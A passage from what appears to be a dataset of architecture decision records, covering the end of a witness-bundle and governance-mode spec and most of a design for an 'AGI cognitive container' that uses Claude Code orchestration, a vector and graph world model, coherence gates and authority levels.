POSTMORTEM | Failure analysis (if outcome != Solved) |\n\nUnknown tags are ignored (forward-compatible).\n\n### 1.4 ToolCallEntry (variable length)\n\n| Offset | Type | Field |\n|--------|-----------|--------------------|\n| 0x00 | u16 | action_len |\n| 0x02 | u8 | policy_check |\n| 0x03 | u8 | _pad |\n| 0x04 | [u8; 8] | args_hash |\n| 0x0C | [u8; 8] | result_hash |\n| 0x14 | u32 | latency_ms |\n| 0x18 | u32 | cost_microdollars |\n| 0x1C | u32 | tokens |\n| 0x20 | [u8; N] | action (UTF-8) |\n\n### 1.5 Signature\n\nHMAC-SHA256 over the unsigned payload (header + sections, before signature).\nSame primitive used by ADR-034 QR seeds. Zero external dependencies.\n\n### 1.6 Evidence Completeness\n\nA witness bundle is \"evidence complete\" when it contains all three:\nSPEC + DIFF + TEST_LOG. Incomplete bundles are valid but reduce the\nevidence coverage score.\n\n## 2. Task Outcomes\n\n| Value | Name | Meaning |\n|-------|---------|-----------------------------------------------|\n| 0 | Solved | Tests pass, diff merged or mergeable |\n| 1 | Failed | Tests fail or diff rejected |\n| 2 | Skipped | Precondition not met |\n| 3 | Error | Infrastructure or tool failure |\n\n## 3. Governance Modes\n\nThree enforcement levels, each with a deterministic policy hash:\n\n### 3.1 Restricted (mode=0)\n\n- **Read-only** plus suggestions\n- Allowed tools: Read, Glob, Grep, WebFetch, WebSearch\n- Denied tools: Bash, Write, Edit\n- Max cost: $0.01\n- Max tool calls: 50\n- Use case: security audit, code review\n\n### 3.2 Approved (mode=1)\n\n- **Writes allowed** with human confirmation gates\n- All tool calls return PolicyCheck::Confirmed\n- Max cost: $0.10\n- Max tool calls: 200\n- Use case: production deployments, sensitive repos\n\n### 3.3 Autonomous (mode=2)\n\n- **Bounded authority** with automatic rollback on violation\n- All tool calls return PolicyCheck::Allowed\n- Max cost: $1.00\n- Max tool calls: 500\n- Use case: CI/CD pipelines, nightly runs\n\n### 3.4 Policy Hash\n\nSHA-256 of the serialized policy (mode + tool lists + budgets), truncated\nto 8 bytes. Stored in the witness header. Any policy change produces a\ndifferent hash, preventing silent drift.\n\n### 3.5 Policy Enforcement\n\nTool calls are checked at record time:\n\n1. Deny list checked first (always blocks)\n2. Mode-specific check:\n - Restricted: must be in allow list\n - Approved: all return Confirmed\n - Autonomous: all return Allowed\n3. Cost budget checked after each call\n4. Tool call count budget checked after each call\n5. All violations recorded in the witness builder\n\n## 4. Scorecard\n\nAggregate metrics across witness bundles.\n\n| Metric | Type | Description |\n|---------------------------|-------|---------------------------------------|\n| total_tasks | u32 | Total tasks attempted |\n| solved | u32 | Tasks with passing tests |\n| failed | u32 | Tasks with failing tests |\n| skipped | u32 | Tasks skipped |\n| errors | u32 | Infrastructure errors |\n| policy_violations | u32 | Total policy violations |\n| rollback_count | u32 | Total rollbacks performed |\n| total_cost_microdollars | u64 | Total cost |\n| median_latency_ms | u32 | Median wall-clock latency |\n| p95_latency_ms | u32 | 95th percentile latency |\n| total_tokens | u64 | Total tokens consumed |\n| total_retries | u32 | Total retries across all tasks |\n| evidence_coverage | f32 | Fraction of solved with full evidence |\n| cost_per_solve | u32 | Avg cost per solved task |\n| solve_rate | f32 | solved / total_tasks |\n\n### 4.1 Acceptance Criteria\n\n| Metric | Threshold | Rationale |\n|----------------------|-----------|----------------------------------|\n| solve_rate | >= 0.60 | 60/100 solved |\n| policy_violations | == 0 | Zero unsafe actions |\n| evidence_coverage | == 1.00 | Every solve has witness bundle |\n| rollback_correctness | == 1.00 | All rollbacks restore clean state|\n\n## 5. Deterministic Replay\n\nA witness bundle contains everything needed to verify a task execution:\n\n1. **Spec**: What was asked\n2. **Plan**: What was decided\n3. **Trace**: What tools were called (with hashed args/results)\n4. **Diff**: What changed\n5. **Test log**: What was verified\n6. **Signature**: Tamper proof\n\nReplay flow:\n1. Parse bundle, verify signature\n2. Display spec and plan\n3. Walk trace entries, showing each tool call\n4. Display diff\n5. Display test log\n6. Verify outcome matches test log\n\n## 6. Cost-to-Outcome Curve\n\nTrack over time (nightly runs):\n\n| Week | Tasks | Solved | Cost/Solve | Tokens/Solve | Retries | Regressions |\n|------|-------|--------|------------|--------------|---------|-------------|\n| 1 | 100 | 60 | $0.015 | 8,000 | 12 | 0 |\n| 2 | 100 | 64 | $0.013 | 7,500 | 10 | 1 |\n| ... | ... | ... | ... | ... | ... | ... |\n\nA stable downward slope on cost/solve with flat or rising success rate\nis the compounding story.\n\n## Implementation\n\n| File | Purpose | Tests |\n|-----------------------------------------------|-------------------------|-------|\n| `crates/rvf/rvf-types/src/witness.rs` | Wire-format types | 10 |\n| `crates/rvf/rvf-runtime/src/witness.rs` | Builder, parser, score | 14 |\n| `crates/rvf/rvf-runtime/tests/witness_e2e.rs` | E2E integration | 11 |\n\nAll tests use real HMAC-SHA256 signatures. Zero external dependencies.\n\n## References\n\n- ADR-034: QR Cognitive Seed (SHA-256, HMAC-SHA256 primitives)\n- FIPS 180-4: Secure Hash Standard (SHA-256)\n- RFC 2104: HMAC (keyed hashing)\n- RFC 4231: HMAC-SHA256 test vectors", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-035-capability-report.md", "created_at": "2026-03-28T11:58:49.233107+00:00", "content_hash": "b35871e4e4bde3b1ca865ad7072d7db1a6f79121f75e05544506dd5bf7e0afae"} +{"id": "f47441c4-69b2-42f4-8baf-c3c49ac26b51", "source": "adr", "text": "# ADR-036: RuVector AGI Cognitive Container with Claude Code Orchestration\n\n**Status**: Partially Implemented\n**Date**: 2026-02-15 (updated 2026-02-17)\n**Decision owners**: RuVector platform team, Claude Flow orchestration team, RVF runtime team\n**Depends on**: ADR-029 (RVF Canonical Format), ADR-030 (Cognitive Container), ADR-033 (Progressive Indexing Hardening), ADR-034 (QR Cognitive Seed), ADR-035 (Capability Report), ADR-039 (RVF Solver WASM AGI Integration)\n**Affects**: `rvf-types/src/agi_container.rs`, `rvf-runtime`, `npm/packages/rvf-solver/`, `npm/packages/rvf/`\n\n## Context\n\nA state change into general intelligence can emerge when two conditions hold:\n\n1. **Existential facilities** -- a substrate that can persist identity, memory,\n constraints, health signals, and self-maintenance.\n2. **Architectural organization** -- a framework that can package the system,\n control execution, and enforce repeatability while enabling incremental\n self-reinforced feedback loops.\n\nRuVector is the existential substrate. RVF is the organizational and packaging\nframework. Claude Code is the runtime orchestrator for planning and execution,\nusing agent teams and tool connectivity via MCP.\n\nThe deliverable is a portable intelligence package that other teams can run and\nobtain the same graded outcomes, with replayable witness logs, policy controls,\nand deterministic environment capture.\n\n## Problem Statement\n\nWe need an architecture that can do all of the following in one system:\n\n1. Learn continuously from real-world event streams\n2. Maintain its own structural health and recover from corruption or drift\n3. Act through tools with governed authority\n4. Produce repeatable outcomes across machines and teams\n5. Package the full intelligence state so it can be shipped, audited, and replayed\n\nMost LLM-centered architectures measure success by static accuracy, but this\nthesis needs longitudinal coherence under mutation. This ADR defines that\nsystem boundary explicitly.\n\n## Decision Drivers\n\n1. Repeatable outcomes, not just plausible responses\n2. Long-horizon coherence under continuous updates\n3. Governance by default, including proof trails for actions\n4. Minimal reliance on hidden model internals for learning\n5. Portability across environments, including edge and offline modes\n6. Strong separation of control plane and data plane\n7. Tool-use reliability, batching, and reduced context pollution\n\nClaude Code is chosen as orchestrator because it is designed to read codebases,\nedit files, run commands, manage workflows, and integrate with external systems\nvia MCP, including multi-agent teams coordinated by a lead.\n\nProgrammatic tool calling is used as the preferred high-reliability tool\norchestration strategy because it makes control flow explicit in code and\nreduces repeated model round-trips and context bloat.\n\n## Definitions\n\n| Term | Definition |\n|------|-----------|\n| **RuVector substrate** | Persistent world model combining vectors, graphs, constraints, and signals. Supports graph querying via Cypher. Includes self-learning and graph neural embedding updates, with dynamic minimum-cut as a coherence signal. |\n| **RVF framework** | Cognitive container format that packages data, indexes, models, policies, and runtime into a single artifact. A single file that stores vectors and models, boots as a Linux microservice, accelerates queries using eBPF, branches at cluster granularity, and provides cryptographic witness chains. |\n| **Claude Code orchestrator** | Agentic coding and task execution environment that runs in terminal, IDE, desktop, and web. Connects external tools via MCP. Coordinates agent teams. |\n| **Claude Flow** | Multi-agent orchestration layer that turns Claude Code into a swarm-style coordinator with router, agents, shared memory, and learning loop. |\n| **Structural health** | Measurable invariants indicating world model integrity: coherence gates, contradiction tracking, memory integrity, policy compliance, rollback readiness. |\n| **Witness chain** | Cryptographic attestation trail linking each state change to inputs, decisions, and tool outputs. See ADR-035. |\n| **Same results** | Identical graded outcomes and artifacts for a benchmark run, not necessarily identical intermediate tokens. Enforced through replay mode and verification mode. |\n\n## Considered Options\n\n| # | Option | Verdict |\n|---|--------|---------|\n| 1 | LLM-only agent with prompt history and ad-hoc logs | Rejected: no structural health, no reversibility, no packaging |\n| 2 | LLM + vector retrieval memory only | Rejected: no coherence gating, no witness chains, no portable replay |\n| 3 | LLM + RuVector world model + RVF cognitive container, orchestrated by Claude Code and Claude Flow | **Selected** |\n\n**Rationale**: Options 1 and 2 cannot meet the thesis because they lack explicit\nstructural health machinery, reversible state transitions, and portable\nreplayable intelligence packaging.\n\n## Decision\n\nBuild the AGI system as a closed-loop cognitive container:\n\n1. **Claude Code** is the control plane orchestrator. It spawns an agent team\n and coordinates planning and execution.\n2. **Claude Flow** provides the swarm orchestration model, routing tasks to\n specialized agents and managing shared memory and learning loop semantics.\n3. **RuVector** is the existential substrate, storing world model state, typed\n memory, constraints, and coherence signals, queryable via graph queries\n and vector search.\n4. **RVF** is the portable intelligence package format. It encapsulates the\n agent runtime, RuVector state snapshot and deltas, policies, indexes, tool\n adapters, and the evaluation harness so others can reproduce the same\n graded results.\n5. **Learning** occurs primarily by structured memory mutation and skill\n promotion governed by coherence and evaluation gates, not by continuous\n weight updates.\n\n## Architecture Overview\n\n### System Boundary\n\n**Inside the boundary:**\n1. Claude Code lead session\n2. Claude Flow router and swarm manager\n3. Tool adapters and execution sandbox\n4. RuVector database cluster (or embedded instance)\n5. RVF container runtime and witness chain engine (ADR-035)\n6. Evaluation harness and graders\n\n**Outside the boundary:**\n1. External data sources (repos, ticketing, logs, sensors)\n2. External model provider infrastructure\n3. Human approvals (if policy requires)\n\n### High-Level Data Flow\n\n```\nEvent Ingestion \u2500\u2500> World Model Update Proposal\n \u2502 \u2502\n \u2502 Structural Health Gate\n \u2502 \u2502\n \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 \u2502 Gate PASS? \u2502\n \u2502 \u2502 yes no \u2502\n \u2502 \u2502 \u2502 \u2502 \u2502\n \u2502 \u2502 Commit Reject\u2502\n \u2502 \u2502 \u2502 \u2502 \u2502\n \u2502 \u2514\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n \u2502 \u2502 \u2502\n \u25bc \u25bc \u25bc\n Plan & Act Loop Reflection Rollback &\n (Claude Code + & Compress Quarantine\n Claude Flow) \u2502\n \u2502 \u2502\n \u25bc \u25bc\n Commit & Witness (RVF ADR-035)\n```\n\n1. **Event ingestion**: Real-world events arrive and are normalized into a\n canonical event schema.\n2. **World model update proposal**: The system proposes graph mutations and\n memory writes in RuVector.\n3. **Structural health gating**: Coherence checks, contradiction checks, and\n policy checks determine if the proposal can be committed.\n4. **Plan and act loop**: Claude Code and Claude Flow coordinate tool calls to\n act in the environment, using programmatic tool calling patterns.\n5. **Reflection and compression**: Results are summarized into stable facts,\n procedures, and counterexamples.\n6. **Commit and witness**: Deltas are committed into RuVector and sealed into\n the RVF witness chain (ADR-035).\n\n### Control Plane / Data Plane Separation\n\n| Aspect | Control Plane | Data Plane |\n|--------|--------------|------------|\n| **Who** | Claude Code + Claude Flow | RuVector + RVF |\n| **Does** | Decides what to do; generates proposed deltas and tool actions | Executes storage, retrieval, graph ops, embeddings, coherence |\n| **Varies** | Internal reasoning may vary between runs | Only gated commits become reality |\n| **Enforces** | Plans and policies | Packaging, execution boundaries, attestations |\n\nThis separation is the core of repeatability.\n\n## Components and Responsibilities\n\n### Component A: Claude Code Lead Agent\n\n| Inputs | Outputs |\n|--------|---------|\n| Task description | Plans |\n| Current RVF container identity and policy | Tool calls |\n| RuVector retrieval results | Proposed memory mutations |\n| Tool outputs and environment observations | Commit requests |\n\nKey capabilities: agent teams for parallel decomposition, MCP tool connectivity,\nproject instruction loading for consistent behavior across runs.\n\n### Component B: Claude Flow Swarm Manager\n\n| Inputs | Outputs |\n|--------|---------|\n| Lead agent goal graph | Sub-agent tasks |\n| System policy limits | Consensus proposals |\n| RuVector shared memory state | Aggregated plan; learning loop updates |\n\nArchitecture: router-to-swarm-to-agents with learning loop and shared memory.\n\n### Component C: RuVector Substrate\n\n| Inputs | Outputs |\n|--------|---------|\n| Events, text, code, images, structured records | Retrieved memories and facts |\n| Embeddings, graph mutation deltas | Graph query results (Cypher) |\n| Health telemetry updates | Embedding/ranking updates (self-learning) |\n| | Coherence signals (dynamic minimum-cut) |\n\n### Component D: RVF Cognitive Container Runtime\n\n| Inputs | Outputs |\n|--------|---------|\n| Container manifest | Bootable runtime environment |\n| Segmented data blobs | Reproducible execution environment |\n| Policy and permissions | Signed witness records (ADR-035) |\n| Cryptographic keys | Branchable snapshots |\n\n### Component E: Tool Execution Sandbox\n\n| Inputs | Outputs |\n|--------|---------|\n| Tool call plans from Claude Code | Tool results as structured objects |\n| Programmatic tool calling scripts | Tool receipts with hashes |\n| Policy rules | Failure modes and retry classifications |\n\n## RuVector World Model Schema\n\n### Node Types\n\n| # | Type | Purpose |\n|---|------|---------|\n| 1 | **AgentIdentity** | Stable identity, keys, role, authority limits |\n| 2 | **Event** | Normalized external observation (timestamp, source, payload hash) |\n| 3 | **Claim** | Statement that may be true or false, linked to evidence |\n| 4 | **Evidence** | Pointer to tool output, document excerpt, test output, sensor observation |\n| 5 | **Plan** | Goal tree, constraints, success criteria, expected cost |\n| 6 | **Action** | Tool invocation request with preconditions and expected effect |\n| 7 | **Outcome** | Observed effects, pass/fail, test results, diffs, side effects |\n| 8 | **Skill** | Reusable procedure with applicability conditions, constraints, and tests |\n| 9 | **Policy** | Rules for permissions and safety boundaries |\n| 10 | **HealthSignal** | Coherence metrics, drift, contradiction density, memory integrity |\n\n### Edge Types\n\n| Edge | Semantics |\n|------|----------|\n| `CAUSED` | Event CAUSED Claim or Outcome |\n| `SUPPORTS` | Evidence SUPPORTS Claim |\n| `CONTRADICTS` | Claim CONTRADICTS Claim |\n| `DEPENDS_ON` | Plan DEPENDS_ON Skill or Evidence |\n| `EXECUTES` | Action EXECUTES Tool |\n| `PRODUCED` | Action PRODUCED Outcome |\n| `PROMOTED_FROM` | Skill PROMOTED_FROM repeated successful Plans |\n| `BLOCKED_BY` | Action BLOCKED_BY Policy |\n| `HEALTH_OF` | HealthSignal HEALTH_OF subsystem or memory region |\n\n### Invariants\n\n| # | Invariant | Rule |\n|---|-----------|------|\n| 1 | **Evidence binding** | Any externally testable claim must have at least one Evidence edge; otherwise tagged `unverified` and cannot justify irreversible actions |\n| 2 | **Contradiction locality** | A contradiction edge must reference the minimal conflicting claims, not a broad document blob |\n| 3 | **Action gating** | Any action that changes external state must reference the policy decision node that allowed it |\n| 4 | **Replay completeness** | Every tool output referenced by evidence must be hashable and stored or re-derivable from deterministic inputs |\n\n## Structural Health and Coherence Gate Design\n\nThis is the mechanism that operationalizes the state-change thesis. It turns\ncontinuous learning into safe incremental commits.\n\n### Health Signals\n\n| # | Signal | Computation |\n|---|--------|-------------|\n| 1 | **Coherence score** | Dynamic minimum-cut on active working set subgraph. Measures separability between consistent clusters and contradiction boundaries. |\n| 2 | **Contradiction pressure** | Rate of new contradiction edges per unit time, weighted by claim criticality |\n| 3 | **Memory integrity** | Schema validation success, witness chain continuity, segment hash integrity |\n| 4 | **Tool reliability** | Error rates, retries, timeouts, drift in tool schemas |\n| 5 | **Cost stability** | Cost-per-solved-task trend, abnormal spikes |\n\n### Coherence Gate Rules\n\n| Rule | Trigger | Action |\n|------|---------|--------|\n| 1. Block unsafe commits | Coherence score drops below threshold after proposed delta | Reject and open repair plan |\n| 2. Require counterexample storage | An outcome fails | Counterexample must be created and linked before any new skill promotion |\n| 3. Limit graph churn | Contradiction pressure exceeds threshold | Freeze new skill promotion; focus on repair and consolidation |\n| 4. Quarantine volatile memories | New claims arrive | Enter volatile pool until reinforced by independent evidence or repeated success |\n\n## Learning Loop Design\n\n### Learning Primitives\n\n1. **Episodic capture**: Store event, plan, action, outcome chain as an episode\n2. **Reflection**: Extract stable claims and failure causes, bind evidence\n3. **Consolidation**: Merge redundant claims, compress long traces into summaries\n plus pointers, maintain witness chain\n4. **Skill promotion**: Promote procedure into Skill node only when criteria met\n\n### Skill Promotion Criteria\n\nA candidate becomes a skill when **all** of the following are true:\n\n1. It has succeeded K times on non-identical inputs\n2. It has at least one negative example recorded and bounded\n3. It has objective graders that validate outputs\n4. It does not increase policy violations or coherence degradation\n\n### Self-Reinforced Feedback Loops\n\nA loop is self-reinforced when successful actions increase the system's future\nprobability of selecting high-value plans, while structural health remains\nwithin bounds.\n\n**Mechanism:**\n- Success produces evidence and updated skill priors\n- RuVector retrieval makes these skills easier to select\n- Coherence gates prevent runaway self-confirmation\n\n## Repeatability and Portable Intelligence Packaging\n\n### RVF Packaging Decision\n\nOne RVF artifact contains:\n\n| Segment | Contents |\n|---------|----------|\n| **Manifest and identity** | Container ID, build ID, model routing config, policy version, tool adapter registry |\n| **Runtime** | Claude Flow orchestrator config, agent role prompts, tool schemas, sandbox config |\n| **RuVector snapshot** | Base world model graph, indexes, embeddings, skill library, policy nodes |\n| **Delta journal** | Append-only commits with witness chain records (ADR-035) |\n| **Evaluation harness** | Task suite, graders, scoring rules, replay scripts |\n\n### Two Execution Modes\n\n| Mode | Goal | Method | Pass Condition |\n|------|------|--------|----------------|\n| **Replay** | Bit-identical artifact reproduction | No external tool calls; use stored receipts and outputs | All graders match exactly; witness chain matches |\n| **Verify** | Same graded outcomes under live tools | Tools called live; outputs stored and hashed | Outputs pass same tests; costs within expected bounds |\n\nThis is how you claim \"same results\" without over-promising identical token\nsequences across different infrastructure.\n\n### Determinism Controls\n\n1. Pin model ID to a specific version in the container manifest\n2. Set sampling for maximum determinism in production runs\n3. Store prompt and instruction hashes for each run\n4. Virtualize time for tasks that depend on timestamps\n5. Freeze external dependencies by snapshotting repos and data sources\n6. Record all tool outputs with hashes and schema versions\n\n## AGI npm Package Distribution\n\nThe AGI capabilities of the cognitive container are distributed as npm packages,\nenabling JavaScript/TypeScript consumers to access the self-learning engine,\nwitness chains, and HNSW index operations without a Rust toolchain.\n\n### Package Ecosystem\n\n| Package | Version | AGI Capabilities |\n|---------|---------|-----------------|\n| `@ruvector/rvf-solver` | 0.1.0 | Thompson Sampling PolicyKernel, KnowledgeCompiler, three-loop adaptive solver, SHAKE-256 witness chains, 18 context buckets, speculative dual-path execution |\n| `@ruvector/rvf-node` | 0.1.6 | HNSW index statistics, witness chain verification, store freeze (snapshot), distance metric introspection |\n| `@ruvector/rvf-wasm` | 0.1.5 | Witness chain verification (`rvf_witness_verify`), WASM microkernel for browser/edge |\n| `@ruvector/rvf` | 0.1.8 | Unified SDK re-exporting all of the above; single `npm install` for full AGI access |\n\n### Self-Learning Solver API\n\n```typescript\nimport { RvfSolver } from '@ruvector/rvf';\n\nconst solver = await RvfSolver.create();\n\n// Three-loop training: fast (solve) / medium (policy) / slow (compiler)\nconst result = solver.train({ count: 1000, minDifficulty: 1, maxDifficulty: 10 });\n\n// Full acceptance test with A/B/C ablation modes\nconst manifest = solver.acceptance({ cycles: 5, holdoutSize: 100 });\n\n// Inspect learned policy state\nconst policy = solver.policy();\n\n// Export tamper-evident witness chain (73 bytes per entry)\nconst chain = solver.witnessChain();\n\nsolver.destroy();\n```\n\n### AGI NAPI Methods\n\nThe native Node.js bindings expose AGI-relevant operations:\n\n| Method | Returns | AGI Purpose |\n|--------|---------|-------------|\n| `indexStats()` | `RvfIndexStats` | Introspect HNSW graph structure (layers, M, ef_construction) for coherence monitoring |\n| `verifyWitness()` | `RvfWitnessResult` | Validate witness chain integrity for replay/verify modes |\n| `freeze()` | `void` | Snapshot-freeze state for deterministic branching |\n| `metric()` | `string` | Distance metric introspection for coherence signal computation |\n\n### Integration with Cognitive Container\n\nThe npm packages map to cognitive container components:\n\n| Container Component | npm Package | Segment |\n|--------------------|-------------|---------|\n| Self-learning engine | `@ruvector/rvf-solver` | SOLVER_SEG (computed in WASM) |\n| Witness chain attestation | `@ruvector/rvf-solver` + `@ruvector/rvf-wasm` | WITNESS_SEG (0x0A) |\n| Vector storage & retrieval | `@ruvector/rvf-node` | VEC_SEG, INDEX_SEG |\n| HNSW index inspection | `@ruvector/rvf-node` | INDEX_SEG |\n| Browser-side verification | `@ruvector/rvf-wasm` | WITNESS_SEG verification |\n\n## MCP Tools\n\nCore MCP tools to implement:\n\n| Tool | Purpose |\n|------|---------|\n| `ruvector_query` | Vector search and filtered retrieval |\n| `ruvector_cypher` | Graph query and traversal for claims, evidence, contradictions |\n| `ruvector_commit_delta` | Propose and commit world model deltas behind coherence gates |\n| `rvf_snapshot` | Create a branchable snapshot for experiments |\n| `rvf_witness_export` | Export witness chain proofs for audit (ADR-035) |\n| `rvf_solver_train` | Run self-learning solver training via `@ruvector/rvf-solver` |\n| `rvf_solver_acceptance` | Execute full A/B/C ablation acceptance test |\n| `eval_run` | Run the container's benchmark suite and return graded results |\n\n## Security Model\n\n### Threat Model\n\n1. Prompt injection via untrusted content\n2. Tool abuse and unintended side effects\n3. Data exfiltration via tool channels\n4. Memory poisoning causing long-horizon drift\n5. Supply chain drift causing irreproducible results\n\n### Controls\n\n| # | Control | Mechanism |\n|---|---------|-----------|\n| 1 | Capability-based permissions | Each tool call requires explicit capability grants; high-risk actions require approvals |\n| 2 | Policy as data | Policies live in RuVector and are embedded in RVF manifest; policy cannot silently change between runs |\n| 3 | Witnessed commits | Every commit is attested with inputs, policy decision, and tool receipts (ADR-035) |\n| 4 | Quarantine zone | Untrusted inputs enter quarantine; cannot directly affect skill promotion |\n| 5 | Sandboxed execution | Tool scripts run in restricted environments; programmatic tool calling makes control flow explicit |\n\n## Observability and Benchmarking\n\n### Required Metrics\n\n1. Success rate on task suite\n2. Policy violations count\n3. External side effects count\n4. Contradiction rate\n5. Coherence score trend\n6. Rollback frequency and success\n7. Dollars per solved task\n8. p50 and p95 latency per task\n9. Tool error rate\n\n### Benchmark Tiers\n\n| Tier | Name | Purpose |\n|------|------|---------|\n| 1 | Deterministic replay suite | Verifies packaging and witness integrity |\n| 2 | Tool and memory suite | Measures long-horizon stability and coherence gating |\n| 3 | Production domain suite | Measures real outcomes (repo issue fixes, compliance, deployments) |\n\n### Proof Artifact per Run\n\nEach run exports:\n1. Run manifest\n2. Task inputs and snapshots\n3. All tool receipts and hashes\n4. All committed deltas\n5. Witness chain export (ADR-035)\n6. Grader outputs and final scorecard\n\n## Consequences\n\n### Positive\n\n1. **Clear system boundary** for intelligence measurement -- the composite\n system is evaluated, not the model in isolation\n2. **Repeatability as a product feature** -- RVF container + witness chain +\n replay mode enables credible external validation\n3. **Safety is structural** -- policies and coherence gates are part of the\n substrate, not an afterthought\n4. **Multi-agent scalability** -- Claude Code agent teams + Claude Flow swarm\n routing supports parallel work and specialization\n\n### Negative / Risks\n\n1. **Complexity risk** -- system of systems; requires investment in harnesses\n and invariants early\n2. **Non-determinism risk** from model providers -- replay mode mitigates by\n recording outputs\n3. **Memory poisoning risk** -- powerful memory can amplify wrong beliefs if\n coherence gates are weak; bias toward evidence binding and counterexample capture\n4. **Benchmark gaming risk** -- weak graders will be exploited; build robust\n graders first\n\n## Implementation Plan\n\n### Phase 1: Foundation\n\n**Deliverables:**\n1. RuVector schema and APIs for events, claims, evidence, contradictions\n2. RVF container manifest format for model, policy, tool registry, snapshots\n3. MCP server exposing RuVector and RVF operations to Claude Code\n4. Basic witness log and delta commit pipeline (ADR-035 -- done)\n\n**Exit criteria:** Replay mode works on a small deterministic suite.\n\n### Phase 2: Coherence Gating\n\n**Deliverables:**\n1. Structural health signals and thresholds\n2. Dynamic minimum-cut coherence metric integration\n3. Rollback and quarantine semantics\n4. Contradiction detection routines\n\n**Exit criteria:** No irreversible external tool calls allowed when coherence is\nbelow threshold.\n\n### Phase 3: Learning and Skill Promotion\n\n**Deliverables:**\n1. Skill nodes, promotion criteria, and tests\n2. Consolidation and compaction routines\n3. Counterexample-driven repair\n\n**Exit criteria:** Skills improve success rate over time without increasing\ncontradictions.\n\n### Phase 4: Portable Intelligence Distribution\n\n**Deliverables:**\n1. One-RVF-file distribution pipeline\n2. Public evaluation harness packaged inside RVF\n3. Verification mode that produces same graded outcomes across machines\n\n**Exit criteria:** Two independent teams run the same RVF artifact and achieve\nthe same benchmark scorecard.\n\n## Resolved Design Questions\n\n### Q1: First domain for proving the state-change thesis\n\n**Decision: Repo automation** (software engineering lifecycle).\n\nRationale: This domain provides the strongest combination of (a) verifiable\noutcomes (tests pass, code compiles, PR merges), (b) tool-rich environment\n(git, CI, code editors via Claude Code), (c) naturally occurring event streams\n(issues, commits, reviews), and (d) existing infrastructure in Claude Code +\nClaude Flow. The evaluation harness measures: issues solved, test success rate,\nregression introduction rate, cost per solved issue, and witness chain\ncompleteness.\n\nSubsequent domains (incident triage, governance workflows, edge autonomy)\nare pursued after the repo automation scorecard achieves >= 60/100 solved\nwith zero policy violations.\n\n### Q2: Authority levels\n\n**Decision: Four-level authority model, default ReadMemory.**\n\n```rust\n#[repr(u8)]\npub enum AuthorityLevel {\n /// Read-only: query vectors, graphs, memories. No mutations.\n ReadOnly = 0,\n /// Write to internal memory: commit world model deltas behind\n /// coherence gates. No external tool calls.\n WriteMemory = 1,\n /// Execute tools: run sandboxed tools (file read/write, tests,\n /// code generation). External side effects are gated by policy.\n ExecuteTools = 2,\n /// Write external: push code, create PRs, send messages, modify\n /// infrastructure. Requires explicit policy grant per action class.\n WriteExternal = 3,\n}\n```\n\nEach action in the world model must reference a policy decision node\n(invariant #3, \"Action gating\") that grants at least the required authority\nlevel. The container manifest declares the maximum authority level permitted\nfor a given execution. Higher levels require explicit policy override.\n\nDefault for Replay mode: `ReadOnly`.\nDefault for Verify mode: `ExecuteTools`.\nDefault for Live mode: `WriteMemory` (escalation to higher levels requires\npolicy grant per action class).\n\n### Q3: Resource budgets\n\n**Decision: Per-task resource budgets with hard caps.**\n\nEvery task execution is bounded by:\n\n| Resource | Default Cap | Override |\n|----------|-------------|---------|\n| Wall-clock time per task | 300 seconds | Policy override, max 3600s |\n| Total model tokens per task | 200,000 | Policy override, max 1,000,000 |\n| Total cost per task | $1.00 | Policy override, max $10.00 |\n| Tool calls per task | 50 | Policy override, max 500 |\n| External write actions per task | 0 (ReadOnly) | Requires WriteExternal authority |\n\nBudget exhaustion triggers graceful degradation: the task enters `Skipped`\noutcome with a `BudgetExhausted` postmortem in the witness bundle.\n\n### Q4: Coherence thresholds\n\n**Decision: Three configurable thresholds stored in the container header.**\n\n| Threshold | Default | Effect when breached |\n|-----------|---------|---------------------|\n| `min_coherence_score` | 0.70 | Block all commits; enter repair mode |\n| `max_contradiction_rate` | 5.0 per 100 events | Freeze skill promotion |\n| `max_rollback_ratio` | 0.20 | Halt Live execution; require human review |\n\nThese map to ADR-033's quality framework: the coherence score is analogous\nto `ResponseQuality` -- it signals whether the system's internal state is\ntrustworthy enough to act on.\n\n## Wire Format\n\n### AgiContainerHeader (64 bytes, `repr(C)`)\n\nThe AGI container is stored as a `Meta` segment (`SegmentType::Meta = 0x07`)\nin the RVF file, alongside the KERNEL_SEG, WASM_SEG, VEC_SEG, INDEX_SEG,\nWITNESS_SEG, and CRYPTO_SEG that hold the actual payload data.\n\n```\nOffset Type Field Description\n------ ---- ----- -----------\n0x00 u32 magic 0x52564147 (\"RVAG\")\n0x04 u16 version Header format version (currently 1)\n0x06 u16 flags Bitfield (see below)\n0x08 [u8; 16] container_id Unique container UUID\n0x18 [u8; 16] build_id Build UUID (changes on repackaging)\n0x28 u64 created_ns Creation timestamp (nanos since epoch)\n0x30 [u8; 8] model_id_hash SHA-256 of pinned model ID, truncated\n0x38 [u8; 8] policy_hash SHA-256 of governance policy, truncated\n```\n\n### Flags (u16 bitfield)\n\n```\nBit Name Description\n--- ---- -----------\n0 AGI_HAS_KERNEL KERNEL_SEG with micro Linux kernel present\n1 AGI_HAS_WASM WASM_SEG modules present\n2 AGI_HAS_ORCHESTRATOR Claude Code + Claude Flow config present\n3 AGI_HAS_WORLD_MODEL VEC_SEG + INDEX_SEG world model data present\n4 AGI_HAS_EVAL Evaluation harness (tasks + graders) present\n5 AGI_HAS_SKILLS Promoted skill library present\n6 AGI_HAS_WITNESS ADR-035 witness chain present\n7 AGI_SIGNED Container is cryptographically signed\n8 AGI_REPLAY_CAPABLE All tool outputs stored; supports replay mode\n9 AGI_OFFLINE_CAPABLE Container can run without network access\n10 AGI_HAS_TOOLS MCP tool adapter registry present\n11 AGI_HAS_COHERENCE_GATES Coherence gate configuration present\n```\n\n### TLV Manifest Tags\n\nFollowing the header, a TLV (tag-length-value) manifest contains the\ncontainer's configuration sections:\n\n| Tag | Name | Content |\n|--------|------------------------|---------|\n| 0x0100 | CONTAINER_ID | Container UUID |\n| 0x0101 | BUILD_ID | Build UUID |\n| 0x0102 | MODEL_ID | Pinned model identifier (UTF-8) |\n| 0x0103 | POLICY | Serialized governance policy |\n| 0x0104 | ORCHESTRATOR | Claude Code + Claude Flow config |\n| 0x0105 | TOOL_REGISTRY | MCP tool adapter registry |\n| 0x0106 | AGENT_PROMPTS | Agent role prompts |\n| 0x0107 | EVAL_TASKS | Evaluation task suite |\n| 0x0108 | 